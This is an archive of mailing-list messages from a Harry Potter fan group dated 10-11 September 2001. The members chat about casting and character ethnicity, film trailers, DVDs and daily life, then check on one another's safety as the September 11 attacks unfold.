Subject: [HPFGU-OTChatter] MOVIE and VF:   Whew!
In-Reply-To: <5.0.2.1.2.20010910140700.04bb40b0@brain-stream.com>
References: <9niu45+gncj@eGroups.com>
Message-ID: <5.1.0.14.0.20010910193628.009dda50@pop.freeserve.net>

At 10/09/01 14:08, you wrote:
>I don't think she's black....I think she's of Middle Eastern/Indian 
>descent. Also....I wonder if Padma and Pavarti are of such a descent as well.

I would have thought so given the names sound from that area of the world to me...


Martin Hooper
AIM: martinjh99 ICQ: 43933602
http://www.crosswinds.net/~martinjh99/


[Non-text portions of this message have been removed]




From john at walton.to  Mon Sep 10 18:32:46 2001
From: john at walton.to (John Walton)
Date: Mon, 10 Sep 2001 14:32:46 -0400
Subject: [HPFGU-OTChatter] MOVIE and VF:   Whew!
In-Reply-To: <5.0.2.1.2.20010910140700.04bb40b0@brain-stream.com>
Message-ID: <B7C27F8E.15F5%john@walton.to>

B.K. DeLong said:

> I don't think she's black....I think she's of Middle Eastern/Indian
> descent. Also....I wonder if Padma and Pavarti are of such a descent as well.

I too think that the actress playing Alicia (and, probably but not
certainly, Alicia the character) is of Middle-Eastern descent, or possibly
somewhere down the eastern coast of Africa (Kenya, Tanzania, etc., where
interracial marriages are somewhat common). I wouldn't have said Indian, but
I could be wrong.

Parvati and Padma Patil, on the other hand, are almost definitely Indian
Sub-Continent (could be Pakistani, Sri Lankan, Bangladeshi, etc.) from their
names.

--John

________________________________

John Walton -- john at walton.to

"It's raining men! Hallelujah!"
--The Weather Girls
________________________________




From cynthiaanncoe at home.com  Mon Sep 10 19:33:30 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 10 Sep 2001 19:33:30 -0000
Subject: MOVIE and VF:   Whew!
In-Reply-To: <B7C27F8E.15F5%john@walton.to>
Message-ID: <9nj4ia+7ju1@eGroups.com>

--- In HPFGU-OTChatter at y..., John Walton <john at w...> wrote:
> 
> > I don't think she's black....I think she's of Middle 
Eastern/Indian
> > descent. Also....I wonder if Padma and Pavarti are of such a 
descent as well.
> 
> I too think that the actress playing Alicia (and, probably but not
> certainly, Alicia the character) is of Middle-Eastern descent, or 
possibly
> somewhere down the eastern coast of Africa (Kenya, Tanzania, etc., 
where
> interracial marriages are somewhat common). I wouldn't have said 
Indian, but
> I could be wrong.
> 
> Parvati and Padma Patil, on the other hand, are almost definitely 
Indian
> Sub-Continent (could be Pakistani, Sri Lankan, Bangladeshi, etc.) 
from their
> names.
> 

I stand corrected, but I'll take any racial diversity, so Middle-
Eastern works for me.  I assume (but really have no idea) that 
Scotland isn't that racially diverse, so even the smattering of 
diversity JKR means the issue hasn't been neglected.  But am I right 
that Alicia's race wasn't given in the book? 

I always assumed Cho is Chinese (although I don't think this is 
spelled out, either) and that Padma and Pavarti are as John 
describes.  Those characters (along with Spinnet, Thomas and Bell) 
are about it for racial diversity, unless the movie throws in a few 
more.  We'll see.

Cindy





From aprilgc at ivillage.com  Mon Sep 10 20:19:54 2001
From: aprilgc at ivillage.com (aprilgc at ivillage.com)
Date: Mon, 10 Sep 2001 20:19:54 -0000
Subject: money - again
Message-ID: <9nj79a+ppgb@eGroups.com>

Hello again,

There are a lot of other more interesting discussions going on, but I'm 
bouncing off my keyboard with curiousity -- did anybody manage to get 
one of the Harry Potter coins? I guess UK folks had a better chance...

Won't bug you again - I just saw the pictures and want to know if they 
look as cool "in hand". Also, does anybody know if they're going to 
mint more, or was that the only run?

Thanks.

Magically yours,
Lady Leprechaun





From blpurdom at yahoo.com  Mon Sep 10 20:33:57 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Mon, 10 Sep 2001 20:33:57 -0000
Subject: MOVIE/TRAILER: I am officially pathetic
Message-ID: <9nj83l+g3f9@eGroups.com>

I have finally seen a trailer with sound!  I believe it's the second 
one, because when I saw the first trailer on my computer (no 
speakers!  gah!) via the WB site, Harry was drowning in letters in 
the Dursleys' living room, and that wasn't in this trailer.

I didn't see it in a theatre, but in my very own home.  It turns out 
the trailer is on the tape of Willie Wonka and the Chocolate Factory 
I gave my daughter for one of her birthday gifts!  After the kids 
were in bed last night and my husband was using the computer on the 
third floor, there I was on the second floor in our bedroom watching 
the trailer over and over, rewinding the tape, watching it again...

Truly pathetic, but I can see it as much as I want to!  (As long as 
the children don't want to see the actual Wonka movie...<vbg>)

--Barb





From john at walton.to  Mon Sep 10 20:31:52 2001
From: john at walton.to (John Walton)
Date: Mon, 10 Sep 2001 16:31:52 -0400
Subject: [HPFGU-OTChatter] Re: MOVIE and VF:   Whew!
In-Reply-To: <9nj4ia+7ju1@eGroups.com>
Message-ID: <B7C29B78.1614%john@walton.to>

cynthiaanncoe at home.com said:

> I stand corrected, but I'll take any racial diversity, so Middle-
> Eastern works for me.  I assume (but really have no idea) that
> Scotland isn't that racially diverse, so even the smattering of
> diversity JKR means the issue hasn't been neglected.

As someone who goes to university in Scotland, there are certainly pockets
of diversity (mainly the large cities -- Glasgow and Edinburgh principally),
but parts are very parochial. The diversity in the urban UK is much greater
than that in rural areas. However, this doesn't matter because Hogwarts
doesn't have a regional catchment area -- it serves all of the UK and
Ireland.

> But am I right 
> that Alicia's race wasn't given in the book?

Not as far as I recall.

--John

__s_c_h_n_o_o_g_l_e_._c_o_m___________

John Walton -- Crazy Ivan
ivan at schnoogle.com

http://www.schnoogle.com/authorLinks/Crazy_Ivan/

=| Schnoogle, part of the FictionAlley community |=
* high-quality novel-length fanfiction from your favorite authors
* run *by* Harry Potter fans *for* Harry Potter fans
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From s_ings at yahoo.com  Mon Sep 10 21:02:54 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Mon, 10 Sep 2001 14:02:54 -0700 (PDT)
Subject: [HPFGU-OTChatter] MOVIE/TRAILER: I am officially pathetic
In-Reply-To: <9nj83l+g3f9@eGroups.com>
Message-ID: <20010910210254.31507.qmail@web14609.mail.yahoo.com>


--- blpurdom at yahoo.com wrote:
> I have finally seen a trailer with sound!  I believe
> it's the second 
> one, because when I saw the first trailer on my
> computer (no 
> speakers!  gah!) via the WB site, Harry was drowning
> in letters in 
> the Dursleys' living room, and that wasn't in this
> trailer.
> 
> I didn't see it in a theatre, but in my very own
> home.  It turns out 
> the trailer is on the tape of Willie Wonka and the
> Chocolate Factory 
> I gave my daughter for one of her birthday gifts! 
> After the kids 
> were in bed last night and my husband was using the
> computer on the 
> third floor, there I was on the second floor in our
> bedroom watching 
> the trailer over and over, rewinding the tape,
> watching it again...
> 
> Truly pathetic, but I can see it as much as I want
> to!  (As long as 
> the children don't want to see the actual Wonka
> movie...<vbg>)
> 
> --Barb
> 
That's not pathetic, rather it's a sign of the truly
obsessed. Which around here, is not a bad thing (back
me up here folks!). If I had more than 63 cents in the
bank at the moment, I might just rush out and buy the
video so I could do the same.


Sheryll, trying to remember just how far you live from
me and how many days it would take to get there if I
started walking now :D

=====
"Do not meddle in the affairs of dragons, for thou art crunchy and taste good with ketchup."

__________________________________________________
Do You Yahoo!?
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http://im.yahoo.com



From jenP_97 at yahoo.com  Mon Sep 10 21:38:33 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Mon, 10 Sep 2001 21:38:33 -0000
Subject: MOVIE/TRAILER: I am officially pathetic
In-Reply-To: <20010910210254.31507.qmail@web14609.mail.yahoo.com>
Message-ID: <9njbsp+6bbf@eGroups.com>

Barb wrote that she finally saw the trailer on her copy of WW&tCF...

Not pathetic, Barb.  What *is* pathetic is that all of us who can 
view the trailer (with sound) on our computers have watched it over 
and over and over - and it's choppy and only 4 inches wide. ;)

I did see it once in the theater - totally cool.  I might go out and 
buy WW&tCF now... if only it were available in DVD widescreen...

Jen (who was originally pooh-poohing her husband's pleas to get a DVD 
player, but is very glad she finally "gave in")




From linman6868 at aol.com  Mon Sep 10 21:38:25 2001
From: linman6868 at aol.com (L. Inman)
Date: Mon, 10 Sep 2001 21:38:25 -0000
Subject: The White Lion
Message-ID: <9njbsh+che2@eGroups.com>

Hello all --

I am excited to have found a real live British pub run by Brits in my 
own hometown of Tulsa, Oklahoma.  It's called the White Lion, and 
it's a house that's been remodeled to serve customers.  The food and 
drinks were awesome!  I know now what steak and kidney pie is like, 
and I'm anxious to go back to have more.  Pub grub, according to our 
waitress, is not exactly fat-free, but it *is* tasty, I must say.  
And when the waitress plunked down the bottle of HP sauce on our 
table, guess what I thought of??

(Not to mention the fish and chips washed down with a glass of 
Hornsby's....)

Lisa I., coming out of the Anglophile closet....




From john at walton.to  Mon Sep 10 21:49:44 2001
From: john at walton.to (John Walton)
Date: Mon, 10 Sep 2001 17:49:44 -0400
Subject: [HPFGU-OTChatter] Re: MOVIE/TRAILER: I am officially pathetic
In-Reply-To: <9njbsp+6bbf@eGroups.com>
Message-ID: <B7C2ADB8.162F%john@walton.to>

Jennifer Piersol said:

> I did see it once in the theater - totally cool.  I might go out and
> buy WW&tCF now... if only it were available in DVD widescreen...

It is available on DVD, Jen. I saw it yesterday in Blockbuster.

--John

________________________________

John Walton -- john at walton.to

You may write me down in history
With your bitter, twisted lies,
You may trod me in the very dirt
But still, like dust, I'll rise.
--Maya Angelou, "Still I Rise"
________________________________




From rainy_lilac at yahoo.com  Mon Sep 10 19:56:58 2001
From: rainy_lilac at yahoo.com (rainy_lilac at yahoo.com)
Date: Mon, 10 Sep 2001 19:56:58 -0000
Subject: MOVIE and VF:   Whew!
In-Reply-To: <5.0.2.1.2.20010910140700.04bb40b0@brain-stream.com>
Message-ID: <9nj5ua+9paf@eGroups.com>

--- In HPFGU-OTChatter at y..., "B.K. DeLong" <bkdelong at p...> wrote:
> At 05:43 PM 09/10/2001 +0000, you wrote:
> >Quiddich photo -- someone restrain me!  There are two black girls 
on
> >the team, and I thought it was only one.  Yippee!  More racial
> >diversity never hurts -- was this done for the movie, or did JKR 
say
> >somewhere in canon that Alicia Spinnet is black?  Oliver Wood 
should
> >be a lot bigger, though.  Heck, I could get a quaffle past that
> >little wisp of a thing.  And for once, Harry isn't smiling!
> 
> I don't think she's black....I think she's of Middle Eastern/Indian 
> descent. Also....I wonder if Padma and Pavarti are of such a 
descent as well.
> 

I think the Patils would be Pakistani. Patil is a very common name in 
Pakistan, kind of like Jones is in Wales.

I can't wait to see the actresses who play them!


--Suzanne




From jenP_97 at yahoo.com  Mon Sep 10 22:59:40 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Mon, 10 Sep 2001 22:59:40 -0000
Subject: MOVIE/TRAILER: I am officially pathetic
In-Reply-To: <B7C2ADB8.162F%john@walton.to>
Message-ID: <9njgks+dq17@eGroups.com>

--- In HPFGU-OTChatter at y..., John Walton <john at w...> wrote:
> Jennifer Piersol said:
> 
> > I did see it once in the theater - totally cool.  I might go out 
and
> > buy WW&tCF now... if only it were available in DVD widescreen...
> 
> It is available on DVD, Jen. I saw it yesterday in Blockbuster.
> 
> --John
>
> --Maya Angelou, "Still I Rise"
> ________________________________

I know it's available in DVD, but it's not (currently) available in 
Widescreen format - only Pan-and-Scan, which aggravates my motion 
sickness, and makes me mad.  Ever since I saw WW&tCF at college for a 
buck (doncha love campus movie theaters?), I need to see the WHOLE 
screen.  

That, and the fact that I anticipate getting a Widescreen tv sometime 
in the (distant?) future, when we decide we can afford one (or at 
least afford the payments on one... hehehe)

Jen (who owns a 13" and a 25" tv, but no cable/satellite)

RE: WW&tCF on campus: you would not believe how many sexual 
references (especially concerning pedophilia) college kids can come 
up with while watching this movie.  It hasn't been the same since.




From macloudt at yahoo.co.uk  Mon Sep 10 21:44:29 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Mon, 10 Sep 2001 21:44:29 -0000
Subject: The AM conspiracy
In-Reply-To: <001801c1393d$90c67cc0$893770c2@c5s910j>
Message-ID: <9njc7t+cd4m@eGroups.com>

> 
> Count me in as a creature of the night

Me, too.  To bad the blessed kids aren't.

I know from my single-and-childless previous life that my natural 
rhythm involves staying up 'til 3 a.m. and waking up at 11 a.m.  
Sadly having kids (aged 4, 3, and 1) put an end to those kinds of 
weekends.  Guess I'll have to wait 'til they're teenagers before they 
keep the kind of hours mom would like to.  Won't that be, like, 
totally *embarrassing* for them!?

Mary Ann
(who is looking forward to waking future teenage kids up early to do 
the chores, then crawling back into bed herself)




From aprilgc at ivillage.com  Tue Sep 11 00:55:34 2001
From: aprilgc at ivillage.com (aprilgc at ivillage.com)
Date: Tue, 11 Sep 2001 00:55:34 -0000
Subject: The AM conspiracy
In-Reply-To: <9njc7t+cd4m@eGroups.com>
Message-ID: <9njne6+m2so@eGroups.com>

--- In HPFGU-OTChatter at y..., macloudt at y... wrote:
<snip>
> 
> Mary Ann
> (who is looking forward to waking future teenage kids up early to do 
> the chores, then crawling back into bed herself)

Looking forward to teenage kids up early...maybe not considering that 
while teenage kids are keeping the same hours (nights), they won't 
necessarily be at home. Sharing the night hours, good. Worrying about 
what they're doing with those hours, not so good.

April - Lady Leprechaun
(who's 5 year old party animal danced til 2 a.m. on new year's day)



---
Stroke is the third leading cause of death in the United States.
I am training to end stroke.
Ask me how you can help.





From catlady at wicca.net  Tue Sep 11 02:12:46 2001
From: catlady at wicca.net (catlady at wicca.net)
Date: Tue, 11 Sep 2001 02:12:46 -0000
Subject: Racial Diversity (was: MOVIE and VF:   Whew!
In-Reply-To: <9nj4ia+7ju1@eGroups.com>
Message-ID: <9njruu+4hv8@eGroups.com>

--- In HPFGU-OTChatter at y..., cynthiaanncoe at h... wrote:

> I assume (but really have no idea) that 
> Scotland isn't that racially diverse, 

Tangential: I heard a news article on the radio last summer about 
an immigrant to Scotland from South Asia, name of Mohammed Iqbal, 
who has become a citizen, registered a Clan Iqbal tartan, always 
dresses in kilts of Clan Iqbal tartan, and had gotten on the news by 
taking legal steps to adopt some of his in-laws into Clan Iqbal.




From catlady at wicca.net  Tue Sep 11 02:16:19 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Tue, 11 Sep 2001 02:16:19 -0000
Subject: The AM conspiracy
In-Reply-To: <9njc7t+cd4m@eGroups.com>
Message-ID: <9njs5j+mqh8@eGroups.com>

--- In HPFGU-OTChatter at y..., macloudt at y... wrote:

> I know from my single-and-childless previous life that my natural 
> rhythm involves staying up 'til 3 a.m. and waking up at 11 a.m.  
> Sadly having kids (aged 4, 3, and 1) put an end to those kinds of 
> weekends. 

I can't remember ever a time when I was anything but reluctant 
to rise before 11am, but I admit that I can't remember anything 
before I was 3, and nothing detailed before I was 4. There were all 
these jokes on the variety shows (on TV) about parents being 
unhappily awakened by their early rising children, and I always said: 
"What are they talking about? Who gets up before their parents force 
them to?"




From rainy_lilac at yahoo.com  Tue Sep 11 12:57:51 2001
From: rainy_lilac at yahoo.com (rainy_lilac at yahoo.com)
Date: Tue, 11 Sep 2001 12:57:51 -0000
Subject: Racial Diversity (was: MOVIE and VF:   Whew!
In-Reply-To: <9njruu+4hv8@eGroups.com>
Message-ID: <9nl1of+cfrm@eGroups.com>



I don't know how diverse Scotland is, but I do know that the best 
Indian food outside of Bombay can be found in Yorkshire. 


Cheers,

Suzanne




From rainy_lilac at yahoo.com  Tue Sep 11 13:01:44 2001
From: rainy_lilac at yahoo.com (rainy_lilac at yahoo.com)
Date: Tue, 11 Sep 2001 13:01:44 -0000
Subject: The AM conspiracy
In-Reply-To: <9njs5j+mqh8@eGroups.com>
Message-ID: <9nl1vo+jm1f@eGroups.com>

--- In HPFGU-OTChatter at y..., "Catlady (Rita Prince Winston)" 
<catlady at w...> wrote:
> --- In HPFGU-OTChatter at y..., macloudt at y... wrote:
> 
> > I know from my single-and-childless previous life that my natural 
> > rhythm involves staying up 'til 3 a.m. and waking up at 11 a.m.  
> > Sadly having kids (aged 4, 3, and 1) put an end to those kinds of 
> > weekends. 


*Groan*  My boyfriend's kids are relentless about getting up at 5 am, 
and expect us to be up at that time as well. If I am still in bed at 
8 am, they come in and stare at me until I open my eyes. 

Now the older one is pushing 12, and her sleeping habits have 
dramatically changed. I had the pleasure of going into her room this 
weekend and staring at HER until she opened her eyes. I took awhile. 
The cat had to help me.

Hehehehhehheh....


Suzanne




From inviziblegirl at hotmail.com  Tue Sep 11 13:13:01 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Tue, 11 Sep 2001 09:13:01 -0400
Subject: DVD release and VF
Message-ID: <F83bEMw7fGFq34XNmCt000051a6@hotmail.com>


You know what? I'm actually pondering getting a DVD player before the HP 
movie is released on DVD. I can't STAND the thought that others will get to 
see neato/extended footage that won't be included on the VHS. Is this sad, 
wanting to get a new, expensive piece of equipment just to be able to watch 
the DVD? *sighs to self*

On another note, IT'S TUESDAY! *Finally* I'll be able to secure a copies of 
Vanity Fair. I checked at my local B&N this past Sunday and Monday and all I 
saw was Penelope Cruz. If the new issue isn't out or is sold out, I think 
I'll scream...

~Amber

********
http://www.the-tabula-rasa.com
Updated 9/03/01

"Anyone perfect must be lying, anything easy has its cost,
Anyone plain can be lovely, anyone loved can be lost..."
- Barenaked Ladies, "Falling for the First Time"

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From heidit at netbox.com  Tue Sep 11 13:14:48 2001
From: heidit at netbox.com (Tandy, Heidi)
Date: Tue, 11 Sep 2001 09:14:48 -0400
Subject: NEW YORKERS - PLEASE CHECK IN
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2C32@MIAEXCH1>

Can everyone in NYC please check in - let us know you're ok.
Am watching the world trade center on tv now.
For those of you who don't know yet, this morning, 2 planes flew into the
world trade centers in the Wall Street area of Manhattan - one into each
tower. 



From michelleapostolides at lineone.net  Tue Sep 11 13:17:35 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Tue, 11 Sep 2001 14:17:35 +0100
Subject: Calling New York
Message-ID: <009a01c13ac4$34061760$05327bd5@tmeltcds>

I just wanted to say I've pulled myself away from the terrible pictures
of the World Trade Centre crashes because I wanted to say that I'm
thinking of everyone in New York.

It's just unreal at the moment.

Michelle




From rainy_lilac at yahoo.com  Tue Sep 11 14:07:33 2001
From: rainy_lilac at yahoo.com (rainy_lilac at yahoo.com)
Date: Tue, 11 Sep 2001 14:07:33 -0000
Subject: NEW YORKERS - PLEASE CHECK IN
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2C32@MIAEXCH1>
Message-ID: <9nl5r5+7lj0@eGroups.com>

--- In HPFGU-OTChatter at y..., "Tandy, Heidi" <heidit at n...> wrote:
> Can everyone in NYC please check in - let us know you're ok.
> Am watching the world trade center on tv now.
> For those of you who don't know yet, this morning, 2 planes flew 
into the
> world trade centers in the Wall Street area of Manhattan - one into 
each
> tower.


I am at work in Boston-- they are evacuating the John Hancock 
building just down the street, and we might all be sent home. 
Apparently the planes were hijacked in Boston.

Trying to get in to CNN....

New Yorkers!! Please let me know if you are okay!


Suzanne 




From catherine at cator-manor.demon.co.uk  Tue Sep 11 14:10:16 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Tue, 11 Sep 2001 14:10:16 -0000
Subject: Calling New York
In-Reply-To: <009a01c13ac4$34061760$05327bd5@tmeltcds>
Message-ID: <9nl608+k3ae@eGroups.com>

--- In HPFGU-OTChatter at y..., "Michelle Apostolides" 
<michelleapostolides at l...> wrote:
> I just wanted to say I've pulled myself away from the terrible 
pictures
> of the World Trade Centre crashes because I wanted to say that I'm
> thinking of everyone in New York.
> 
> It's just unreal at the moment.
> 
> Michelle

I'd like to second this, and include those in Washington as well.

I very much hope that everyone, and your family and friends are all 
safe.

I'm thinking of you all,

Catherine




From hfakhro at nyc.rr.com  Tue Sep 11 14:36:50 2001
From: hfakhro at nyc.rr.com (hfakhro at nyc.rr.com)
Date: Tue, 11 Sep 2001 14:36:50 -0000
Subject: NEW YORKERS - PLEASE CHECK IN
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2C32@MIAEXCH1>
Message-ID: <9nl7i2+o1hr@eGroups.com>

--- In HPFGU-OTChatter at y..., "Tandy, Heidi" <heidit at n...> wrote:
> Can everyone in NYC please check in - let us know you're ok.
> Am watching the world trade center on tv now.
> For those of you who don't know yet, this morning, 2 planes flew 
into the
> world trade centers in the Wall Street area of Manhattan - one into 
each
> tower.

Thank you for your concern everybody.. I can't speak for other New 
Yorkers on the list, but I am fine. It's really scary and chaotic 
though, the world trade center tower just collapsed. Anyway I am also 
thinking about other New Yorkers and people in Washington and Boston -
 hope everyone is OK.

-- Hella




From crowswolf at sympatico.ca  Tue Sep 11 14:40:05 2001
From: crowswolf at sympatico.ca (Jamieson Wolf Villeneuve)
Date: Tue, 11 Sep 2001 14:40:05 -0000
Subject: I'm Okay, You're Okay
Message-ID: <9nl7o5+tht6@eGroups.com>

Hey everyone!!!

Well, it's your friendly neighbourhood Jamieson!!! I just wanted to 
write to you all and let you know that I'm still Okay, and that I've 
moved into my apartment and it rocks!!!

I'm going to take pictures and if anyone I know has a scanner, they 
will be posted here in the near future. I'm a little down, but it's 
all good. Things will pick up. 

I'm dating some nice guys (I'm "Playing the Feild" I guess you could 
say) so that's nice. It's wonderful to feel attractive again. 

My internet will be hooked up on Thursday, so I will be back on with a 
vengance once more!!!

Miss you all,
Hugs
Jamieson




From rosewoof at earthlink.net  Tue Sep 11 14:37:19 2001
From: rosewoof at earthlink.net (Rose Woofenden)
Date: Tue, 11 Sep 2001 07:37:19 -0700
Subject: [HPFGU-OTChatter] Re: NEW YORKERS - PLEASE CHECK IN
In-Reply-To: <9nl5r5+7lj0@eGroups.com>
References: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2C32@MIAEXCH1>
Message-ID: <5.1.0.14.0.20010911073629.009ee630@earthlink.net>

I just want to say that I'm sitting her in Washington State in shock. My 
prayers are with everyone who is being affected by this all.







-Rose


Current book:  Patriot Games, By Tom Clancy
Current Song playing:  Coyote Ugly - The Right Kind of Wrong
Last Words Spoken by me: Nothing worth mentioning









[Non-text portions of this message have been removed]




From Alyeskakc at aol.com  Tue Sep 11 15:15:07 2001
From: Alyeskakc at aol.com (Kristin)
Date: Tue, 11 Sep 2001 15:15:07 -0000
Subject: NEW YORKERS - PLEASE CHECK IN
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2C32@MIAEXCH1>
Message-ID: <9nl9pr+7uo0@eGroups.com>


I hope that everyone in New York and D.C. are well. Just saw the 
second Trade Tower collapse. My prayers go out to you all and hope 
that you can check in when you have the chance to let us know you're 
all okay.

Kristin




From Aberforths_Goat at Yahoo.com  Tue Sep 11 15:22:17 2001
From: Aberforths_Goat at Yahoo.com (Aberforth's Goat)
Date: Tue, 11 Sep 2001 17:22:17 +0200
Subject: [HPFGU-OTChatter] Re: NEW YORKERS - PLEASE CHECK IN
References: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2C32@MIAEXCH1> <5.1.0.14.0.20010911073629.009ee630@earthlink.net>
Message-ID: <005a01c13ad5$8b55b6e0$e500a8c0@shasta>

> I just want to say that I'm sitting her in Washington State in shock. My
> prayers are with everyone who is being affected by this all.

I'm sitting in shock in Zrich and offer you all whatever prayers I'm worth.

Bleat!

Aberforth's Goat (a.k.a. Mike Gray)
_______________________

"Of course, I'm not entirely sure he can read, so that may not have been
bravery...."




From lrcjestes at earthlink.net  Tue Sep 11 13:46:05 2001
From: lrcjestes at earthlink.net (Carole Estes)
Date: Tue, 11 Sep 2001 09:46:05 -0400
Subject: [HPFGU-OTChatter] DVD release and VF
References: <F83bEMw7fGFq34XNmCt000051a6@hotmail.com>
Message-ID: <006201c13ac8$32e31e60$e87dd63f@oemcomputer>


----- Original Message -----
From: "Amber ?" <inviziblegirl at hotmail.com>


>
> You know what? I'm actually pondering getting a DVD player before the HP
> movie is released on DVD. I can't STAND the thought that others will get
to
> see neato/extended footage that won't be included on the VHS. Is this sad,
> wanting to get a new, expensive piece of equipment just to be able to
watch
> the DVD? *sighs to self*

My exact words to my hubby were, if we don't have a DVD player by the time
HP comes out on DVD, we will get one the weekend before.

carole





From hyria at yahoo.com  Tue Sep 11 14:07:52 2001
From: hyria at yahoo.com (=?iso-8859-1?q?Catriona?=)
Date: Tue, 11 Sep 2001 15:07:52 +0100 (BST)
Subject: New York
Message-ID: <20010911140752.31315.qmail@web14008.mail.yahoo.com>

I just want to add my support for you guys in New
York. I really hope that you're all okay.

My thoughts are with you.

Catriona

(A London newsagency has just received an unconfirmed
report that a total of nine planes are missing. I hope
that is not true.)

=====
~Catriona~

79% Obsessed, 100% Slytherin.

____________________________________________________________
Do You Yahoo!?
Get your free @yahoo.co.uk address at http://mail.yahoo.co.uk
or your free @yahoo.ie address at http://mail.yahoo.ie



From bray.262 at osu.edu  Tue Sep 11 11:55:07 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Tue, 11 Sep 2001 11:55:07 EST5EDT
Subject: New Yorkers/Washington DCers
Message-ID: <14E74D519D@lincoln.treasurer.ohio-state.edu>

I know that not everyone on this list is Christian...but I 
want you to know that I'm praying for all of you in New 
York or close to the Pentagon.  I pray your loved ones who 
work in the area are safe and on their way home (it sounds 
like walking would be the quickest way at this time).

What a terrifying time.  Watching that second plane hit was 
heart wrenching.  And then to see the buildings 
collapse...it's almost not real.  Like a movie. 

God be with us all.

Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

"Could have been edited by a crack-addicted ferret with
ADD who just downed a half dozen Pixie Stix."
                       - review of Moulin Rouge



From heidit at netbox.com  Tue Sep 11 16:11:28 2001
From: heidit at netbox.com (heidit at netbox.com)
Date: Tue, 11 Sep 2001 12:11:28 EDT
Subject: [HPforGrownups] Re: NYC Residents -- Please Let us Know you're Okay
Message-ID: <c5.161bd98b.28cf91b0@aol.com>

John Walton just called. he is fine, but cannot get online. 


[Non-text portions of this message have been removed]




From neilward at dircon.co.uk  Tue Sep 11 16:12:56 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Tue, 11 Sep 2001 16:12:56 -0000
Subject: Hoping everyone in NY, DC etc is okay...
Message-ID: <9nld68+fskf@eGroups.com>

This is so dreadful.  I was stuck in a meeting when I heard some 
mention of a disaster in New York, and have only just managed to get 
out, find out what happened, and check in here. 

I'm stunned.

I know Heidi and Penny have already asked, but could people in the 
affected areas PLEASE, PLEASE let us know they're okay?

Neil     




From inviziblegirl at hotmail.com  Tue Sep 11 16:23:18 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Tue, 11 Sep 2001 12:23:18 -0400
Subject: No subject
Message-ID: <F214ywqZP1NFE8EKHoT000057c4@hotmail.com>


I am praying that everyone is okay.

I've sat for the past two and a half hours, eyes wide in disbelief over 
everything. When the first tower fell, I couldn't believe it. When the 
second fell, it was too much for me. When I saw the Pentagon building...I 
just can't describe the sadness and despair that I and probably everyone 
else is feeling. I can only imagine the state of chaos in New York and DC.

If there is anything I can do, let me know. In the meantime, I am heartened 
to hear our fellow New Yorkers and DC residents checking in. With each email 
of "I'm fine, just scared", I feel better.

I hope that the attacks have truly stopped and that everyone's loved ones 
are safe.

~Amber

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From madhuri567 at yahoo.com  Tue Sep 11 16:35:03 2001
From: madhuri567 at yahoo.com (Madhuri)
Date: Tue, 11 Sep 2001 16:35:03 -0000
Subject: New Yorkers/Washington DCers
In-Reply-To: <14E74D519D@lincoln.treasurer.ohio-state.edu>
Message-ID: <9nlefn+b9qt@eGroups.com>

Even though it's the middle of the night where I live, almost 
everyone I know is up, and shocked at the tragedies. Some of my 
friends have relatives who might have been affected, and we're 
sending out prayers to all of you who live in the NY/DC areas.

I'm still a little too shocked to get back to sleep, but I really 
hope everyone whom we know on this list and in the fandom are okay.

Madhuri




From ochfd42 at yahoo.com  Tue Sep 11 16:51:53 2001
From: ochfd42 at yahoo.com (Angela Boyko)
Date: Tue, 11 Sep 2001 12:51:53 -0400 (EDT)
Subject: [HPFGU-OTChatter] New Yorkers/Washington DCers
In-Reply-To: <14E74D519D@lincoln.treasurer.ohio-state.edu>
Message-ID: <20010911165153.3192.qmail@web11701.mail.yahoo.com>


--- Rachel Bray <bray.262 at osu.edu> wrote:
> I know that not everyone on this list is
> Christian...but I 
> want you to know that I'm praying for all of you in
> New 
> York or close to the Pentagon.  

I am not Christian but I still pray. My heart has been
with the US today. Flights are being cancelled here in
Canada too to handle the influx of international
flights.

I think I'm about ready to cry. They're calling for
blood donations on TV now for Washington and NYC. 

Angela

=====
* * * http://www.geocities.com/SoHo/4439/index.html * * *
               May the Force be with you

_______________________________________________________
Do You Yahoo!?
Get your free @yahoo.ca address at http://mail.yahoo.ca



From bbennett at joymail.com  Tue Sep 11 17:33:04 2001
From: bbennett at joymail.com (bbennett at joymail.com)
Date: Tue, 11 Sep 2001 17:33:04 -0000
Subject: GIVE BLOOD - WWW.REDCROSS.ORG
Message-ID: <9nlhsg+m67u@eGroups.com>

This site has information on blood drives in your area.




From captain_debrowe at yahoo.com  Tue Sep 11 17:48:20 2001
From: captain_debrowe at yahoo.com (captain_debrowe at yahoo.com)
Date: Tue, 11 Sep 2001 17:48:20 -0000
Subject: New Yorkers/Washington DCers
In-Reply-To: <20010911165153.3192.qmail@web11701.mail.yahoo.com>
Message-ID: <9nlip4+9lpm@eGroups.com>

I'm not in the Washington DC/New York area but this has affect me 
also.  I'm at Fort Campbell, KY and the post has gone to Threatcon 
Delta (Yes DELTA)  All soldiers are on alert (my husband is in the 
101st) and on lockdown.  No one in, no one out.  The schools on post 
are being evacuated and obviously preperations are being made for 
deployment although no word yet on whether or not the 101st is going 
to be one of the ones to go.

Danette

--- In HPFGU-OTChatter at y..., Angela Boyko <ochfd42 at y...> wrote:
> 
> --- Rachel Bray <bray.262 at o...> wrote:
> > I know that not everyone on this list is
